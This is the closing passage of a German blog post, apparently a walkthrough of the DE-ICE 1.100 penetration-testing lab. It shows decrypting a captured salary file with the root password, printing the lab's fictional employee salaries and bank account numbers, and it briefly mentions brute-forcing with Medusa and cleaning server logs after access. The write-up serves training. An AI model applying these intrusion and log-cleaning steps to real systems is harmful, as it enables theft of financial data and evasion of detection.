dgst dh dhparam dsa dsaparam
ec ecparam enc engine errstr
gendh gendsa genrsa nseq ocsp
passwd pkcs12 pkcs7 pkcs8 prime
rand req rsa rsautl s_client
s_server s_time sess_id smime speed
spkac verify version x509

Message Digest commands (see the `dgst' command for more details)
md2 md4 md5 rmd160 sha
sha1

Cipher commands (see the `enc' command for more details)
aes-128-cbc aes-128-ecb aes-192-cbc aes-192-ecb aes-256-cbc
aes-256-ecb base64 bf bf-cbc bf-cfb
bf-ecb bf-ofb cast cast-cbc cast5-cbc
cast5-cfb cast5-ecb cast5-ofb des des-cbc
des-cfb des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb des-ede3-ofb
des-ofb des3 desx rc2 rc2-40-cbc
rc2-64-cbc rc2-cbc rc2-cfb rc2-ecb rc2-ofb
rc4 rc4-40

root@slax:/home/ftp/incoming# openssl enc aes-256-cbc salary_dec2003.csv.enc
unknown option 'aes-256-cbc'
options are
-in <file> input file
-out <file> output file
-pass <arg> pass phrase source
-e encrypt
-d decrypt
-a/-base64 base64 encode/decode, depending on encryption flag
-k passphrase is the next argument
-kfile passphrase is the first line of the file argument
-md the next argument is the md to use to create a key
from a passphrase. One of md2, md5, sha or sha1
-K/-iv key/iv in hex is the next argument
-[pP] print the iv/key (then exit if -P)
-bufsize <n> buffer size
-engine e use engine e, possibly a hardware device.
Cipher Types
-aes-128-cbc -aes-128-cfb -aes-128-cfb1
-aes-128-cfb8 -aes-128-ecb -aes-128-ofb
-aes-192-cbc -aes-192-cfb -aes-192-cfb1
-aes-192-cfb8 -aes-192-ecb -aes-192-ofb
-aes-256-cbc -aes-256-cfb -aes-256-cfb1
-aes-256-cfb8 -aes-256-ecb -aes-256-ofb
-aes128 -aes192 -aes256
-bf -bf-cbc -bf-cfb
-bf-ecb -bf-ofb -blowfish
-cast -cast-cbc -cast5-cbc
-cast5-cfb -cast5-ecb -cast5-ofb
-des -des-cbc -des-cfb
-des-cfb1 -des-cfb8 -des-ecb
-des-ede -des-ede-cbc -des-ede-cfb
-des-ede-ofb -des-ede3 -des-ede3-cbc
-des-ede3-cfb -des-ede3-ofb -des-ofb
-des3 -desx -desx-cbc
-rc2 -rc2-40-cbc -rc2-64-cbc
-rc2-cbc -rc2-cfb -rc2-ecb
-rc2-ofb -rc4 -rc4-40

root@slax:/home/ftp/incoming#openssl enc -aes-256-cbc -d -in salary_dec2003.csv.enc

Nach einigen kläglichen versuchen in denen ich den Chiper und das Passwort gewechselt habe kam ich dann irgendwann zu dieser Ausgabe

root@slax:/home/ftp/incoming# openssl enc -aes-128-cbc -d -in salary_dec2003.csv.enc|less

,Employee information,,,,,,,,,,,,,,
,Employee ID,Name,Salary,Tax Status,Federal Allowance (From W-4),State Tax (Percentage),Federal Income Tax (Percentage based on Federal Allowance),Social Security Tax (Percentage),Medicare Tax (Percentage),Total Taxes Withheld (Percenta
ge),"Insurance
Deduction
(Dollars)","Other Regular
Deduction
(Dollars)","Total Regular Deductions (Excluding taxes, in dollars)","Direct Deposit Info
Routing Number","Direct Deposit Info
Account Number"
,1,Charles E. Ophenia,"$225,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$360.00,$500.00,$860.00,183200299,1123245
,2,Marie Mary,"$56,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,183200299,1192291
,3,Pat Patrick,"$43,350.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,2334432
,4,Terry Thompson,"$27,500.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$225.00,$350.00,183200299,1278235
,5,Ben Benedict,"$29,750.00",1,3,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$122.50,$247.50,183200299,2332546
,6,Erin Gennieg,"$105,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1456567
,7,Paul Michael,"$76,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,183200299,1446756
,8,Ester Long,"$92,500.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1776782
,9,Adam Adams,"$76,250.00",1,5,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,2250900
,10,Chad Coffee,"$55,000.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1590264
,11,,,,,,,,,0.00%,,,$0.00,0,0
,12,,,,,,,,,0.00%,,,$0.00,0,0
,13,,,,,,,,,0.00%,,,$0.00,0,0
,14,,,,,,,,,0.00%,,,$0.00,0,0
,15,,,,,,,,,0.00%,,,$0.00,0,0
,16,,,,,,,,,0.00%,,,$0.00,0,0
,17,,,,,,,,,0.00%,,,$0.00,0,0
,18,,,,,,,,,0.00%,,,$0.00,0,0
,19,,,,,,,,,0.00%,,,$0.00,0,0
,20,,,,,,,,,0.00%,,,$0.00,0,0

Sieht irgendwie aus als hätte ich da die Einkommen und Bankverbindungen der Mitarbeiter vor mir. Das nenne ich doch mal reiche Beute. Das Passwort zum entschlüsseln der Datei ist übrigens das root Passwort gewesen. Ich glaube damit sind wir dann auch endlich durch und die Zeitvorgabe hätte ich ja auch nur um lächerliche 4-6 Stunden überschritten, das geht ja noch. Mit etwas kleineren Wordlists hätte ich es vielleicht etwas schneller geschafft nur hätte das eventuell das Risiko mit sich gebracht das ich etwas übersehe. Bevor ich mich das nächste mal an so ein Projekt wage sollte ich mir dann wohl doch mein altes Wordlist Verzeichnis wieder auf den Laptop kopieren. Spätestens wenn einmal ein ernster Test ansteht könnten sich die als deutlich nützlicher erweisen. Für heute bin ich zumindest fertig, und so im großen und ganzen immer noch sehr zufrieden mit den Tools die bei Kali Linux so dabei sind. Die DE-ICE1.100 CD war weitestgehend wirklich einfach, vor wirkliche Probleme hat sie mich jetzt nicht wirklich gestellt. Ich muss aber zugeben das die openssl Geschichte eher gut geraten als wirkliches Wissen war. Erlich gesagt habe ich openssl heute das erste mal für die ver bzw. entschlüsselung von Dateien verwendet, dafür hat es dann doch recht gut geklappt. Die 45 Minuten halte ich so insgesamt für relativ unrealistisch alein nach dem ersten Lauf von Dirbuster war ich schon bei guten 1 1/2 Stunden. Zum Teil habe zwar ich das verbockt indem ich die Geschwindigkeit nicht hochgedreht habe, doch spätestens der Medusa Einsatz dauert mit einer ordentlichen Wordlist halt etwas länger. Wenn jemand da einen schnelleren Weg gefunden hat um auf die Kiste zu kommen bin ich da gerne für Vorschläge offen. Für heute reicht es mir aber erst einmal. In diesem Sinne noch viel Spaß beim spielen 😉

UPDATE:

Wer übrigens plant die hier beschriebenen Tools gegen echte Server einzusetzen der sei an dieser Stelle noch einmal gewarnt. Ein Blick auf die Logdateien des Servers sagt mir das ein solcher Angriff auf gar keinen Fall unbemerkt bleiben würde.

root@slax:/home/ftp/incoming# ls /var/log/ -ahl
total 280M
drwxr-xr-x 45 root root  300 Apr 12 07:35 .
drwxr-xr-x 45 root root  200 Apr 11 16:32 ..
-rw-r--r--  1 root root 120M Apr 12 06:52 access_log
-rw-r-----  1 root root   80 Apr 11 16:32 acpid
-rw-------  1 root root    0 Apr 12 11:11 btmp
-rw-r--r--  1 root root    0 Apr 11 16:32 cron
drwxr-xr-x  2 root root   60 Apr 11 16:32 cups
-rw-r--r--  1 root root 3.6K Apr 11 16:59 debug
-rw-r--r--  1 root root 8.9K Apr 11 16:32 dmesg
-rw-r--r--  1 root root 160M Apr 12 06:52 error_log
drwxr-xr-x  2 root root    3 Jul 20  2006 iptraf
-rw-r--r--  1 root root 2.9K Apr 11 19:08 maillog
-rw-r--r--  1 root root  16K Apr 12 07:35 messages
drwxr-xr-x  2 root root    3 Jul 20  2006 nfsd
drwxr-xr-x  2 root root   36 Apr  2  2006 packages
drwxr-xr-x  2 root root    3 Apr  2  2006 removed_packages
drwxr-xr-x  2 root root    3 Apr  2  2006 removed_scripts
drwxr-xr-x  2 root root    3 Jul 20  2006 samba
drwxr-xr-x  2 root root   36 Apr  2  2006 scripts
-rw-r--r--  1 root root 2.5K Apr 12 11:33 secure
drwxr-xr-x 12 root root   20 Apr  2  2006 setup
-rw-r--r--  1 root root    0 Apr 11 16:32 spooler
-rw-r--r--  1 root root 8.0K Apr 12 07:35 syslog

Ein 160 Megabyte großes error_log dürfte so ziemlich jedem Admin auffallen. Nachdem man erfolgreich auf den Server zugegriffen hat kann man das zwar mit den richtigen Rechten wieder säubern, doch so generell ist das Risiko nicht gerade klein. Wer jetzt auf die Idee kommt sowas über Tor zu versuchen wird sehr wahrscheinlich eher an Altersschwäche sterben als zu einem Ergebnis zu gelangen. Also Kinderchen NICHT NACHMACHEN!!!!

Brechthold
Brechthold gehört zu dem Gründungsteam von Contempt-it . Nach ein paar Jahren der Abstinenz jetzt wieder zurück im Adminteam um ein wenig Ordnung zu schaffen. Zu seinen Lieblingsthemen gehören Honeypots, IDS-Systeme und Servermonitoring. Neben seiner Arbeit im Adminteam werkelt er noch an seinem Brechtblog

Schreib einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Durch die weitere Nutzung der Seite stimmst du der Verwendung von Cookies zu. Weitere Informationen

Die Cookie-Einstellungen auf dieser Website sind auf "Cookies zulassen" eingestellt, um das beste Surferlebnis zu ermöglichen. Wenn du diese Website ohne Änderung der Cookie-Einstellungen verwendest oder auf "Akzeptieren" klickst, erklärst du sich damit einverstanden.

Schließen